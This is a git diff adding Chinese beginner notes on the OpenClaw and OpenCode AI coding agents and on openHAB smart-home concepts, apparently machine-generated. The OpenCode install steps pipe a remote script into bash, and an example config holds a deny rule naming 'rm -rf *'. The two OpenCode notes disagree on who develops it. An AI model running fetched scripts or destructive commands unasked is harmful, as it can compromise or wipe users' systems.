+对于 Telegram、WhatsApp、Signal、Discord 等通道，默认启用"配对"模式：
+
+1. 陌生人发给 AI 的消息不会被处理
+2. 陌生人会收到一个配对码
+3. 你输入 `openclaw pairing approve <通道> <码>` 后，该用户才会被加入白名单
+
+这个机制防止了未经授权的访问。
+
+## 八、多智能体路由
+
+OpenClaw 支持"多智能体路由"（Multi-agent routing），这意味着：
+
+- 不同聊天通道可以路由到不同的 Agent
+- 不同群聊/私聊可以绑定不同的 Agent 配置
+- 每个 Agent 有独立的工作区和会话
+
+类比：就像公司里有不同的部门，不同的客户打不同的热线电话，各自由专门的客服人员处理。
+
+```json
+{
+  "agents": {
+    "defaults": {
+      "workspace": "~/.openclaw/workspace"
+    }
+  }
+}
+```
+
+## 九、学习建议
+
+### 第一步：安装并跑通
+
+```bash
+npm install -g openclaw@latest
+openclaw onboard --install-daemon
+```
+
+### 第二步：连一个聊天平台
+
+比如 Telegram：
+1. 在 Telegram 创建 Bot（找 @BotFather）
+2. 拿到 Bot Token
+3. 在 onboard 向导中填入
+
+### 第三步：理解配置
+
+打开 `~/.openclaw/openclaw.json`，看懂每一行的含义。
+
+### 第四步：探索技能
+
+```bash
+# 查看可用技能
+openclaw mcp list
+
+# 安装额外技能
+openclaw skills install <技能名>
+```
+
+### 第五步：阅读安全文档
+
+在将 OpenClaw 暴露到公网之前，务必阅读 Security 和 Exposure Runbook 文档。
+
+## 十、关键文件一览
+
+| 文件/目录 | 作用 |
+|-----------|------|
+| `~/.openclaw/openclaw.json` | 主配置文件 |
+| `~/.openclaw/workspace/` | AI 助手的工作区 |
+| `~/.openclaw/workspace/AGENTS.md` | 注入给 AI 的行为提示词 |
+| `~/.openclaw/workspace/SOUL.md` | 定义 AI 的人格和语气 |
+| `~/.openclaw/workspace/TOOLS.md` | 定义可用工具列表 |
+| `~/.openclaw/workspace/skills/` | 自定义技能目录 |
+| `~/.openclaw/logs/` | 运行日志 |
+
+## 十一、总结
+
+OpenClaw 的核心理念很清晰：
+
+- **本地优先**：你的 AI 助手跑在你自己的机器上，数据不离开
+- **多通道统一**：一个 Gateway 连接所有聊天平台
+- **可编程**：通过配置、技能和 MCP 协议扩展能力
+- **安全可控**：从 DM 配对到沙箱隔离，有多层安全防护
+- **开源**：MIT 许可证，社区活跃（378k+ Star）
+
+对学习者来说，OpenClaw 是一个很好的"AI 助手框架"入门项目 — 它的配置直观，命令行工具丰富，而且文档齐全。通过配置它，你可以理解 AI 应用的基本架构：Gateway（路由层）→ Agent（推理层）→ Channel（交互层）。
diff --git a/src/content/docs/projects/opencode-charm.md b/src/content/docs/projects/opencode-charm.md
new file mode 100644
index 000000000..400088636
--- /dev/null
+++ b/src/content/docs/projects/opencode-charm.md
@@ -0,0 +1,214 @@
+---
+title: OpenCode (Charm) — 零基础学习笔记
+来源: https://github.com/sst/opencode
+日期: 2026-06-13
+分类: Agent
+子分类: 智能体与 LLM
+provenance: pipeline-v3
+---
+
+# OpenCode — 你的终端编程搭档
+
+## 一、它是什么？（类比开始）
+
+想象你在写代码，身边坐着一位资深同事。你随时开口问他：
+
+> "这段代码是干什么的？"
+> "帮我加一个登录功能。"
+> "这个 bug 怎么修？"
+
+他会直接在你的屏幕上改代码，改完让你确认。改完了你不满意，还可以说"撤回刚才的修改"。
+
+**OpenCode 就是这位同事**——只不过他是跑在你终端里的 AI 编程代理（coding agent）。
+
+它由 [Anomaly](https://anoma.ly) 团队开发，174k+ GitHub Stars，开源协议 MIT。可以用在终端（TUI）、桌面应用（Beta）、VS Code 插件等。
+
+## 二、核心概念
+
+### 2.1 安装与启动
+
+最简单的安装方式：
+
+```bash
+# 一行搞定
+curl -fsSL https://opencode.ai/install | bash
+
+# 或者用 npm
+npm i -g opencode-ai
+
+# 或者用 Homebrew（macOS/Linux）
+brew install anomalyco/tap/opencode
+```
+
+启动很简单——进入你的项目目录，运行 `opencode`：
+
+```bash
+cd /path/to/my-project
+opencode
+```
+
+### 2.2 配置 API Key
+
+OpenCode 需要一个 LLM 模型来运行。它支持多种提供商：
+
+- **OpenCode Zen**（官方推荐，开箱即用）
+- **Anthropic**（Claude）
+- **OpenAI**（GPT-4）
+- **Google Gemini**
+- **OpenRouter**
+- 以及任何兼容 OpenAI / Anthropic API 的服务
+
+启动时它会引导你输入 API Key。
+
+### 2.3 项目初始化（init）
+
+第一次在一个项目里使用 OpenCode 时，运行：
+
+```
+/init
+```
+
+OpenCode 会自动分析你的代码库，生成一个 `AGENTS.md` 文件放在项目根目录。这个文件记录了项目的构建命令、代码风格、文件结构等。下次启动时，OpenCode 会读取这个文件，更快地理解你的项目。
+
+**建议把这个文件提交到 Git**，让团队成员（或未来的自己）共享上下文。
+
+### 2.4 两种模式：Plan 和 Build
+
+OpenCode 内置了两个代理，用 **Tab 键**切换：
+
+| 模式 | 用途 | 权限 |
+|------|------|------|
+| **Build**（默认） | 直接写代码、改文件 | 全权限 |
+| **Plan** | 只读分析，不修改文件 | 受限 |
+
+Plan 模式适合先"想清楚再动手"。你描述需求 → 它给出实施方案 → 你满意后切回 Build 模式执行。
+
+### 2.5 会话（Session）
+
+每次对话是一个"会话"。OpenCode 会记住上下文，你可以在一次会话中连续追问、连续修改。
+
+### 2.6 @ 符号引用文件
+
+在对话中用 `@` 可以模糊搜索并引用项目中的文件：
+
+```
+帮我看看 @src/auth/login.ts 的认证逻辑
+```
+
+## 三、实际操作示例
+
+### 示例 1：问问题
+
+你刚接手一个陌生项目，想了解它的结构。
+
+```
+帮我把这个项目的主要目录结构解释一下
+```
+
+或者精确引用某个文件：
+
+```
+@src/utils/api.ts 这个文件里的函数是怎么用的？
+```
+
+OpenCode 会读取文件内容，用你看得懂的方式解释。
+
+### 示例 2：加功能（Plan → Build 流程）
+
+**Step 1：切换到 Plan 模式（按 Tab）**
+
+描述需求：
+
+```
+用户删除笔记后，希望在数据库中标记为"已删除"而不是直接删掉。
+然后做一个页面显示所有最近删除的笔记，可以恢复或删除。
+```
+
+**Step 2：迭代计划**
+
+OpenCode 给出方案后，你可以补充：
+
+```
+我想用和现有笔记列表同样的设计风格。
+[拖入一张参考图片]
+参考这张图来设计新页面。
+```
+
+**Step 3：切回 Build 模式（再按 Tab）执行**
+
+```
+方案不错，开始改吧。
+```
+
+### 示例 3：直接修改
+
+如果是小改动，不需要 Plan 模式，直接说：
+
+```
+把 @src/api/index.ts 里的函数重构一下，
+参考 @src/notes.ts 里的认证写法
+```
+
+### 示例 4：撤回修改
+
+改完了不满意？用 `/undo` 命令：
+
+```
+/undo
+```
+
+可以多次 `/undo` 撤回多步修改。要用 `/redo` 恢复。
+
+## 四、自定义配置
+
+OpenCode 的配置文件是 `opencode.json`（项目级）或 `~/.config/opencode/config.json`（全局）。
+
+配置 LSP 服务器让 OpenCode 获得更智能的代码理解：
+
+```json
+{
+  "lsp": {
+    "go": {
+      "command": "gopls"
+    },
+    "typescript": {
+      "command": "typescript-language-server",
+      "args": ["--stdio"]
+    }
+  }
+}
+```
+
+配置自定义工具权限，减少每次操作都弹窗确认：
+
+```json
+{
+  "permissions": {
+    "allowed_tools": ["view", "ls", "grep", "edit"]
+  }
+}
+```
+
+## 五、关键特性总结
+
+- **多模型支持**：一个工具，多种 LLM，中途可切换
+- **会话持久化**：每次对话独立保存，支持多会话
+- **LSP 增强**：利用语言服务器协议获得更精确的代码理解
+- **MCP 扩展**：支持 Model Context Protocol 插件系统
+- **三种使用方式**：终端 TUI、桌面应用、IDE 扩展
+- **跨平台**：macOS / Linux / Windows (WSL) / Android
+- **`AGENTS.md`**：项目级上下文文件，一次初始化，处处受益
+- **Plan + Build 双模式**：先规划再动手，降低改错成本
+
+## 六、学习建议
+
+1. **从 `/init` 开始**：在你的项目里跑一次初始化
+2. **先问后做**：用 Plan 模式练手，熟悉它的思维方式
+3. **善用 `@`**：引用具体文件会让回答精准很多
+4. **写 `AGENTS.md`**：把项目的重要约定写进去，它会越用越聪明
+5. **大胆 `/undo`**：不用担心改坏，随时可以撤回
+
+---
+
+> 本文档由 pipeline-v3 自动生成。
+> 更多文档：https://opencode.ai/docs
diff --git a/src/content/docs/projects/opencode.md b/src/content/docs/projects/opencode.md
new file mode 100644
index 000000000..6509c9781
--- /dev/null
+++ b/src/content/docs/projects/opencode.md
@@ -0,0 +1,324 @@
+---
+title: OpenCode — SST 出品的终端 AI IDE
+来源: https://github.com/sst/opencode
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：住在终端里的「结对程序员」
+
+想象你有一位随叫随到的结对搭档：你坐在熟悉的终端窗口里，他坐在旁边。你说「帮我把 `/settings` 路由加上和 `/notes` 一样的鉴权」，他会自己翻文件、grep 搜索、跑测试、看 LSP 报错，改完还问你「这样 diff 可以吗？」——但**不会偷偷把你的代码上传到某个黑盒 SaaS**；模型 API Key 在你手里，对话默认留在本机。
+
+**OpenCode 就是这位搭档。** 它是 SST（Serverless Stack）团队开源的 AI 编码代理（MIT），主打 **终端 TUI**，同时也提供桌面客户端和 VS Code / Cursor 扩展。官方仓库历史上叫 [sst/opencode](https://github.com/sst/opencode)，现主维护在 [anomalyco/opencode](https://github.com/anomalyco/opencode)；文档与安装入口见 [opencode.ai](https://opencode.ai)。与「只能聊天、不能动仓库」的网页 AI 不同，OpenCode 内置读文件、编辑、bash、grep、LSP、MCP 等工具，形成完整的 **agent loop**；与完全无人值守的脚本不同，它支持 **Plan 模式**（只读分析）和可配置的 **permission**（改文件、跑命令前询问）。
+
+零基础学习路径：**安装 CLI → `/connect` 配模型 → 进项目跑 `/init` → Tab 切换 build/plan → 用自然语言 + `@文件` 提任务**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：终端党不想为了 AI 换整套 GUI IDE
+
+很多资深开发者日常在 iTerm、WezTerm、Ghostty 里用 vim/neovim + tmux。OpenCode 把 agent 直接嵌进 TUI，不必为了「让 AI 改代码」切到另一个 Electron 应用；需要图形界面时还有 **Desktop Beta** 和 **IDE 扩展** 可选。
+
+### 痛点 2：模型和账号被单一厂商绑死
+
+OpenCode 通过 [Models.dev](https://models.dev) 接入 **75+ 提供商**：Anthropic、OpenAI、Google、本地 Ollama、Amazon Bedrock 等。还可复用已有订阅——例如 **GitHub Copilot** 登录、**ChatGPT Plus/Pro** 登录，或 SST 自家的 **OpenCode Zen**（经团队 benchmark 过的模型列表）。API Key 用 `/connect` 或环境变量配置，**扩展本身不按 token 加价**。
+
+### 痛点 3：AI 乱改文件、命令不可控
+
+内置 **build**（全权限开发）与 **plan**（默认禁止写文件、bash 需批准）两种主 agent，用 **Tab** 切换。`opencode.json` 里可把 `edit`、`bash` 设为 `"ask"`，团队还可用 macOS MDM / 托管 `opencode.json` 强制策略。
+
+### 痛点 4：每个仓库规范不同
+
+运行 **`/init`** 会扫描项目并生成根目录 **`AGENTS.md`**，帮助 agent 理解目录结构与约定；还可通过 `instructions` 字段引用 `CONTRIBUTING.md`、`.cursor/rules/*.md` 等。项目级 **`opencode.json`** 与 **`.opencode/`** 目录（agents、commands、plugins、skills）可 commit 进 Git，全组行为一致。
+
+### 痛点 5：协作与 CI 需要可分享的 agent 会话
+
+TUI 里 **`/share`** 可生成公开链接分享当前对话（可设为 manual / auto / disabled）。GitHub 侧运行 `opencode github install` 后，在 Issue/PR 评论里 `@opencode` 或 `/oc`，可在 **GitHub Actions runner** 里执行任务并提 PR——代码不出你的 GitHub 环境。
+
+---
+
+## 核心概念拆解
+
+### 1. TUI（Terminal User Interface）
+
+在项目目录执行 `opencode` 即启动交互界面。斜杠命令如 `/connect`、`/init`、`/undo`、`/models` 是主要控制面；Leader 键默认 **Ctrl+X**（可改 `tui.json` 的 `keybinds`）。长消息可用 **`/editor`** 调 `$EDITOR` 撰写；拖图片进终端可做多模态参考。
+
+### 2. Agent 与模式
+
+| Agent | 作用 | 典型场景 |
+|-------|------|----------|
+| **build** | 默认；可编辑、跑 bash、调工具 | 实现功能、修 bug、跑测试 |
+| **plan** | 只读；改文件默认 deny，bash 需批准 | 读陌生仓库、写实现方案 |
+| **general**（子 agent） | 复杂搜索、多步任务 | 消息里 `@general` 显式调用 |
+
+右下角指示当前模式；**Tab** 在 build ↔ plan 间切换。自定义 agent 可在 `opencode.json` 的 `agent` 块或 `.opencode/agents/*.md` 定义。
+
+### 3. 内置工具（Tool Registry）
+
+OpenCode 核心注册的工具包括：
+
+| 类别 | 工具 | 用途 |
+|------|------|------|
+| 文件 | `read`, `edit`, `write`, `apply_patch` | 读/改/写/补丁式编辑 |
+| 搜索 | `grep`, `glob`, `lsp` | ripgrep、路径匹配、语言服务器 |
+| 网络 | `webfetch` | 拉取网页内容 |
+| 编排 | `task`, `skill` | 委派子 agent、加载 skill 指令 |
+
+可在配置里 `tools: { write: false }` 禁用某类工具；与 **permission** 配合实现最小权限。
+
+### 4. LSP 与 Formatter
+
+开启 `lsp: true` 后，OpenCode 会按项目自动加载合适 LSP，让模型「看见」类型与诊断；`formatter` 可在 agent 改文件后自动跑 Prettier 等。这对 TypeScript/Rust 等强类型项目减少「改完一堆红波浪线」的返工。
+
+### 5. 配置分层与合并
+
+多个来源的 `opencode.json` **合并而非覆盖**（冲突键以后者为准）。大致优先级从低到高：远程 `.well-known/opencode` → 全局 `~/.config/opencode/` → 环境变量 `OPENCODE_CONFIG` → 项目根 `opencode.json` → `.opencode/` → 托管/MDM 策略。TUI 外观单独放在 **`tui.json`**。
+
+### 6. Session、Snapshot 与 Undo
+
+会话内改动通过 **snapshot** 跟踪（默认开启，大 monorepo 可 `snapshot: false` 换性能）。**`/undo`** 回滚 agent 引入的变更并恢复你的上一条提示；**`/redo`** 重做。这与 Git 互补：Git 管「最终提交」，OpenCode 管「这一轮对话里的试错」。
+
+### 7. MCP、Plugin、Skill
+
+- **MCP**：在 `opencode.json` 的 `mcp` 块配置远程/stdio 服务器，扩展数据库、Jira、搜索等能力。
+- **Plugin**：`.opencode/plugins/` 或 npm 包名（`plugin` 数组）加载自定义工具与钩子。
+- **Skill**：`.opencode/skills/` 或 `@skill` 注入领域指令，类似「可插拔 SOP」。
+
+### 8. 多界面同一核心
+
+| 界面 | 说明 |
+|------|------|
+| TUI | `opencode`，日常主力 |
+| Desktop | [opencode.ai/download](https://opencode.ai/download)，Beta |
+| VS Code 扩展 | 扩展 ID `sst-dev.opencode`；`Cmd+Esc` 开终端会话 |
+| CLI 非交互 | `opencode run "prompt"`，适合脚本 |
+| GitHub Action | `opencode github install` 后 PR/Issue 驱动 |
+
+### 9. 与 Cline、Aider、Cursor 的定位差
+
+| 维度 | OpenCode | [[cline]] | [[aider]] | Cursor |
+|------|----------|-----------|-----------|--------|
+| 主战场 | 终端 TUI | VS Code 侧边栏 | 终端 + Git | IDE 内置 |
+| 开源 | MIT | Apache 2.0 | Apache 2.0 | 商业为主 |
+| Plan/Build 分离 | Tab 切换内置 agent | Plan & Act 模式 | 无一等 Plan UI | Agent 模式因版本而异 |
+| 模型来源 | 75+ 提供商 + Zen | BYOK | BYOK | 订阅制 |
+| 项目规则 | `AGENTS.md` + `instructions` | `.clinerules/` | `.aider.conf.yml` | Rules |
+
+三者可并存：终端 OpenCode 做探索，[[aider]] 做 Git 原子提交，[[cline]] 做带浏览器 MCP 的 GUI 任务。
+
+---
+
+## 安装与首次配置
+
+```bash
+# 推荐：官方安装脚本（自动检测 OS/arch）
+curl -fsSL https://opencode.ai/install | bash
+
+# 或通过包管理器
+brew install anomalyco/tap/opencode   # macOS/Linux，更新最勤
+npm install -g opencode-ai              # Node 全局
+scoop install opencode                  # Windows
+
+# 进入项目
+cd /path/to/your-repo
+opencode
+```
+
+TUI 内首次使用：
+
+1. **`/connect`** — 选 OpenCode Zen、Anthropic、OpenAI 等，粘贴 API Key；或 OAuth 登录 Copilot/ChatGPT。
+2. **`/models`** — 选择默认模型（如 `anthropic/claude-sonnet-4-5`）。
+3. **`/init`** — 生成 `AGENTS.md`。
+4. **Tab** — 确认右下角为 **plan** 或 **build**。
+
+可选：项目根创建 `opencode.json` 固化模型与权限（见下文示例）。
+
+---
+
+## 代码示例 1：Plan → Build 完成一个小功能
+
+场景：Express 项目新增 `GET /health`，返回 `{ status: "ok", uptime: number }`。
+
+**Step 1 — 切到 Plan 模式（Tab），只读分析**
+
+在 TUI 输入：
+
+```text
+@src/server.ts @package.json
+我想加 GET /health，返回 JSON：status 和 process.uptime()。
+先别改文件：列出要动哪些文件、测试怎么跑、和现有路由风格是否一致。
+```
+
+Plan agent 会 `read` / `grep` 相关文件，给出实现步骤。你确认后再 **Tab 切回 build**。
+
+**Step 2 — Build 模式执行**
+
+```text
+按刚才的方案实现。写完运行 package.json 里的 test 脚本；
+若有 tsc/eslint 报错请自行修复。完成后用三句话总结 diff。
+```
+
+若配置了 `"permission": { "edit": "ask", "bash": "ask" }`，每次写文件或跑命令会弹出批准；满意则通过，不满意 **`/undo`** 整轮回滚并重写提示。
+
+**Step 3 — 分享或固化（可选）**
+
+```text
+/share
+```
+
+生成只读链接给同事 review 这次 agent 对话；或把最终方案写进 `AGENTS.md` 的「Health check」小节供后续会话复用。
+
+---
+
+## 代码示例 2：项目级 `opencode.json` 与自定义命令
+
+### 2a. 团队统一模型、权限与 MCP
+
+项目根 `opencode.json`：
+
+```jsonc
+{
+  "$schema": "https://opencode.ai/config.json",
+  "model": "anthropic/claude-sonnet-4-5",
+  "small_model": "anthropic/claude-haiku-4-5",
+  "default_agent": "build",
+  "permission": {
+    "edit": "ask",
+    "bash": {
+      "*": "ask",
+      "rm -rf *": "deny"
+    }
+  },
+  "instructions": ["CONTRIBUTING.md", "docs/architecture.md"],
+  "formatter": true,
+  "lsp": true,
+  "command": {
+    "test": {
+      "description": "跑全量测试并汇报失败",
+      "template": "Run the full test suite with coverage. Fix failures if trivial; otherwise summarize root cause.",
+      "agent": "build"
+    }
+  },
+  "mcp": {
+    "github": {
+      "type": "stdio",
+      "command": ["npx", "-y", "@modelcontextprotocol/server-github"],
+      "environment": {
+        "GITHUB_PERSONAL_ACCESS_TOKEN": "{env:GITHUB_TOKEN}"
+      }
+    }
+  }
+}
+```
+
+之后在 TUI 输入 **`/test`** 即展开为预置长提示；敏感 Key 用 `{env:GITHUB_TOKEN}` 从环境变量注入，避免写进 Git。
+
+### 2b. 只读 Code Review 子 agent
+
+`.opencode/agents/reviewer.md`：
+
+```markdown
+---
+description: 只读代码审查，不改文件
+model: anthropic/claude-sonnet-4-5
+tools:
+  write: false
+  edit: false
+  bash: false
+---
+
+你是严格的 code reviewer。关注：安全、性能、边界条件、测试覆盖。
+输出格式：Critical / Major / Minor 分级，每条带文件路径与行号引用。
+不要直接修改代码，只给可执行的修改建议。
+```
+
+TUI 里 `@reviewer` 或配置 `default_agent` 切换；适合 PR 前自检，与 build agent 分工明确。
+
+---
+
+## 代码示例 3：非交互 CLI 与 VS Code 快捷集成
+
+### 3a. 脚本化一次问答
+
+```bash
+# 单次 prompt，适合 CI 或本地脚本（需已 opencode auth）
+export OPENCODE_CONFIG=/path/to/opencode.json
+opencode run "List all TODO comments in src/ and group by module"
+
+# 指定工作目录
+opencode /path/to/other-repo run "Explain how auth middleware works"
+```
+
+### 3b. VS Code / Cursor 扩展
+
+1. 在集成终端运行一次 `opencode`，扩展会自动安装（Marketplace ID：`sst-dev.opencode`）。
+2. 快捷键：
+   - **Cmd+Esc**（Mac）/ **Ctrl+Esc**（Win/Linux）：聚焦或打开 OpenCode 终端。
+   - **Cmd+Shift+Esc**：新开会话 tab。
+   - **Cmd+Option+K**：把当前文件路径插入为 `@path/to/file#L10-20` 引用。
+
+这样 GUI 里选中代码、终端里 agent 改仓库，上下文通过 `@` 引用对齐，不必复制粘贴大段代码。
+
+---
+
+## TUI 常用斜杠命令速查
+
+| 命令 | 作用 |
+|------|------|
+| `/connect` | 配置 LLM 提供商与 API Key |
+| `/init` | 分析项目，生成/更新 `AGENTS.md` |
+| `/models` | 切换当前会话模型 |
+| `/undo` / `/redo` | 回滚/重做 agent 文件变更 |
+| `/share` | 生成可分享会话链接 |
+| `/export` | 导出对话（走 `$EDITOR`） |
+| `/help` | 命令面板与快捷键帮助 |
+
+Leader 键（默认 Ctrl+X）组合可打开主题、键位、滚动等设置；细节见 [TUI 文档](https://opencode.ai/docs/tui)。
+
+---
+
+## 隐私、成本与选型建议
+
+- **隐私**：官方强调不存储你的代码与上下文；敏感环境可只用本地模型 + 禁用 `webfetch` / 出站 MCP。
+- **成本**：OpenCode 软件免费；token 费用取决于所选模型。Zen 提供经测试的「agent 友好」模型列表，减少「同一个 prompt 不同模型质量差十倍」的试错。
+- **何时优先 OpenCode**：你本来就在终端工作、想要开源可审计 agent、需要 Plan/Build 明确分离、或要在 GitHub Actions 里 `@opencode`。
+- **何时叠加其他工具**：需要 VS Code diff 侧边栏审批 UX 用 [[cline]]；需要「只改 Git 跟踪文件、自动 commit」用 [[aider]]；需要深度 IDE 索引用 Cursor。
+
+---
+
+## 常见问题
+
+**Q：仓库从 sst/opencode 迁到哪了？**  
+A：主开发在 GitHub **anomalyco/opencode**；安装脚本与文档域名仍是 opencode.ai。笔记 frontmatter 保留 SST 起源链接便于溯源。
+
+**Q：必须联网吗？**  
+A：模型推理需 API 或本地推理栈（Ollama 等）；工具链本身可离线读本地仓库。
+
+**Q：Windows 怎么装？**  
+A：Scoop、Chocolatey、npm 或 Desktop `.exe`；Bun 安装仍在完善中。
+
+**Q：和 Claude Code / Codex CLI 冲突吗？**  
+A：不冲突，可同时安装；注意别多个 agent 同时改同一工作区，用 Git 分支隔离。
+
+**Q：大 monorepo 卡顿？**  
+A：配置 `watcher.ignore` 排除 `node_modules`/`dist`；必要时 `snapshot: false`；或缩小单次 `@` 引用范围。
+
+---
+
+## 延伸资源
+
+- 官方文档：[opencode.ai/docs](https://opencode.ai/docs)
+- 配置 Schema：[opencode.ai/config.json](https://opencode.ai/config.json)
+- GitHub：[github.com/anomalyco/opencode](https://github.com/anomalyco/opencode)（原 [sst/opencode](https://github.com/sst/opencode)）
+- 社区： [opencode.ai/discord](https://opencode.ai/discord)
+- 相关笔记：[[cline]]、[[aider]]、[[vscode]]
+
+---
+
+## 小结
+
+OpenCode 把「会读仓库、会跑命令、会看 LSP 的 AI」放进终端，用 **build/plan 双 agent**、**分层配置** 和 **/undo 快照** 平衡效率与安全。零基础只需记住四条：**安装 → `/connect` → `/init` → Tab 切换模式**；进阶再把 `opencode.json`、`.opencode/agents` 和 MCP 纳入团队工程化。作为 SST 开源生态里面向 daily driver 的 agent 入口，它适合作为终端工作流的第一站，而不是唯一一站。
diff --git a/src/content/docs/projects/opencv.md b/src/content/docs/projects/opencv.md
index 32af786c7..b8e3bbf27 100644
--- a/src/content/docs/projects/opencv.md
+++ b/src/content/docs/projects/opencv.md
@@ -178,6 +178,8 @@ PY
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[assimp]] —— Assimp — Open Asset Import Library 统一 3D 模型导入
+- [[blender]] —— Blender — 全流程 3D 创作套件
 - [[colmap]] —— COLMAP — 多视图 SfM/MVS 重建
 - [[cvat]] —— CVAT — 视频帧标注与半自动追踪的开源王者
 - [[decord]] —— Decord — Video-LLM 数据管线的高效视频解码库
@@ -193,6 +195,7 @@ PY
 - [[mediapipe]] —— MediaPipe — Google ML 多模态流水线
 - [[meshroom]] —— Meshroom — AliceVision 节点式 GUI
 - [[mlt]] —— MLT — 多媒体编辑框架
+- [[ncnn]] —— ncnn — 手机上的「无依赖神经网络放映机」
 - [[numpy]] —— NumPy — Python 科学计算基石
 - [[pytorch]] —— PyTorch — 深度学习主流框架
 - [[sam2]] —— SAM 2 — Segment Anything Model 2
diff --git a/src/content/docs/projects/openhab.md b/src/content/docs/projects/openhab.md
new file mode 100644
index 000000000..5cd867198
--- /dev/null
+++ b/src/content/docs/projects/openhab.md
@@ -0,0 +1,311 @@
+---
+title: openHAB Core — Java OSGi 智能家居的「标准化物业中枢」
+来源: 'https://github.com/openhab/openhab-core'
+日期: '2026-06-13'
+分类: 操作系统
+子分类: 嵌入式
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 日常类比：带「统一台账」的物业中控室
+
+想象你管理一栋混合品牌的大楼：一楼是飞利浦 Hue 灯，二楼是 Sonoff 开关，车库是 Z-Wave 门磁，屋顶还有 MQTT 温湿度计。每家厂商有自己的 App、协议和云账号——住户（你）不可能为 40 个设备装 40 个客户端。
+
+**物业中控室**就是 openHAB 扮演的角色：
+
+- **登记硬件（Thing）**：物业知道「3 楼西户有一个可调光开关、一个温湿度传感器」，但住户不直接跟硬件对话。
+- **统一台账（Item）**：台账上写「客厅灯：开/关」「卧室温度：23.5°C」。仪表盘、语音助手、自动化规则只认台账，不认具体品牌。
+- **接线员（Binding）**：Hue 说 REST，Z-Wave 说射频，MQTT 说主题——Binding 把各协议翻译成 openHAB 能理解的 Channel。
+- **配线表（Link）**：台账条目「客厅灯」接到 Hue 灯泡的「开关 Channel」，才算这条能力真正可用。
+- **自动化手册（Rule）**：「日落且有人在客厅 → 开灯 30%」写在中控室的规则引擎里，由事件触发执行。
+
+openHAB 是欧洲社区主导的开源家庭自动化平台，核心仓库 [openhab/openhab-core](https://github.com/openhab/openhab-core) 用 **Java + OSGi** 构建可插拔的 Binding/Addon 生态。与 [[home-assistant]] 同属「本地优先、多协议聚合」路线，但架构更强调 **Thing–Channel–Item 分层** 与 **Eclipse 式模块化（Bundle）**，适合喜欢文本配置、长期稳定运行、与 KNX/MQTT/Z-Wave 深度集成的用户。
+
+---
+
+## 解决什么问题
+
+| 痛点 | 没有统一平台时 | openHAB 的回应 |
+| --- | --- | --- |
+| 协议碎片化 | 每类设备一套 SDK / 云 API | Binding 抽象为 Thing + Channel |
+| UI 与硬件耦合 | 改设备要改界面逻辑 | Item 虚拟层，界面只绑 Item |
+| 自动化难维护 | 厂商 App 里点选，不可版本管理 | `.items` / `.things` / `.rules` 文本可 Git 管理 |
+| 欧洲标准生态 | KNX、EnOcean 等集成少 | 社区 Binding 覆盖广，KNX 等是强项 |
+| 扩展与隔离 | 一个驱动崩溃拖垮全局 | OSGi Bundle 边界，Addon 可热插拔 |
+
+核心问题：**如何把「物理设备能力」与「应用层逻辑（界面、规则、语音）」严格分离，并用可插拔模块连接任意协议？**
+
+---
+
+## openHAB 在整体栈中的位置
+
+完整 openHAB 发行版通常包含多层（安装方式：openHABian、Docker、手动 JVM 等）：
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│  Main UI / HABPanel / 语音助手 / REST API                    │
+├─────────────────────────────────────────────────────────────┤
+│  openHAB Core（事件总线、Item 注册表、规则引擎、持久化）       │
+│  ← openhab-core 仓库                                         │
+├─────────────────────────────────────────────────────────────┤
+│  Bindings / Add-ons（OSGi Bundle：MQTT、Hue、Z-Wave、KNX…）   │
+├─────────────────────────────────────────────────────────────┤
+│  物理设备 / 云服务 / MQTT Broker（如 [[mosquitto]]）          │
+└─────────────────────────────────────────────────────────────┘
+```
+
+**本文聚焦 Core 所体现的概念模型**：Thing、Channel、Item、Link、Rule。无论你用 UI 发现设备还是手写 `.things` 文件，最终都汇入同一套事件总线与规则引擎。
+
+---
+
+## 核心概念：五层模型
+
+官方文档（[Concepts](https://www.openhab.org/docs/concepts/)）把系统拆成清晰五层：
+
+| 概念 | 是什么 | 日常类比 |
+| --- | --- | --- |
+| **Binding** | 连接某类协议/厂商的软件适配器（OSGi Addon） | 物业外包的「Hue 专线」「Z-Wave 专线」 |
+| **Thing** | 可被系统管理的物理或逻辑实体（设备、服务） | 某一盏灯、某一个 MQTT Broker |
+| **Channel** | Thing 暴露的单一能力（开关、温度、触发器） | 设备上的某个接口引脚 |
+| **Item** | 应用层虚拟对象，有名称、类型、状态 | 台账上的「客厅灯」「卧室温度」 |
+| **Link** | Channel ↔ Item 的一对多/多对多关联 | 配线：台账条目接到具体 Channel |
+
+数据流简化：
+
+```
+物理设备 ──Binding──► Thing ──Channel──► Link ──► Item ──► UI / Rule / 持久化
+                              ▲
+                         事件总线（Item 状态变更、命令、Thing 上下线）
+```
+
+### Item 类型（常见）
+
+Item 是规则与界面操作的**唯一入口**。常见类型包括：
+
+| 类型 | 用途 | 典型命令 |
+| --- | --- | --- |
+| `Switch` | 开关 | ON / OFF |
+| `Dimmer` | 调光（0–100%） | ON, OFF, INCREASE, DECREASE |
+| `Number` | 数值（可带单位 `Number:Temperature`） | 数值更新 |
+| `String` | 文本 | 字符串 |
+| `Contact` | 开/闭（门磁） | OPEN / CLOSED |
+| `Group` | 嵌套其他 Item，便于批量规则 | — |
+
+Thing 与 Item ** deliberately 分离**：你可以把多个 Channel Link 到同一 Item，或一个 Item 只反映某个 Channel 的状态，而不必在规则里写设备 UID。
+
+### Bridge（桥接 Thing）
+
+Z-Wave USB  stick、Hue Bridge、MQTT Broker 常建模为 **Bridge Thing**，其下挂子 Thing：
+
+```
+Bridge mqtt:broker:home  ──包含──► Thing topic:sonoff_living
+```
+
+子 Thing 继承 Bridge 的连接参数（IP、用户名等），避免每个设备重复配置。
+
+---
+
+## 配置方式：发现 vs 文本文件
+
+openHAB 支持两条路并存（可混用）：
+
+1. **Inbox 发现**：安装 Binding 后扫描网络，UI 里点「添加」→ 存入内部数据库。
+2. **文本配置**：`$OPENHAB_CONF/things/*.things`、`items/*.items`、`rules/*.rules`，适合 Git 版本管理与 Code Review。
+
+注意：UI 添加的 Thing **不会**自动写回 `.things` 文件；生产环境常选「全文本」或「发现后导出」策略，避免配置漂移。
+
+---
+
+## 代码示例 1：`.things` — MQTT Broker 与 Sonoff 开关
+
+以下示例来自官方 Things 文档的 MQTT 模式：先定义 Broker，再定义 Generic MQTT Thing 与 Channel（可与 [[mosquitto]] 配合）。
+
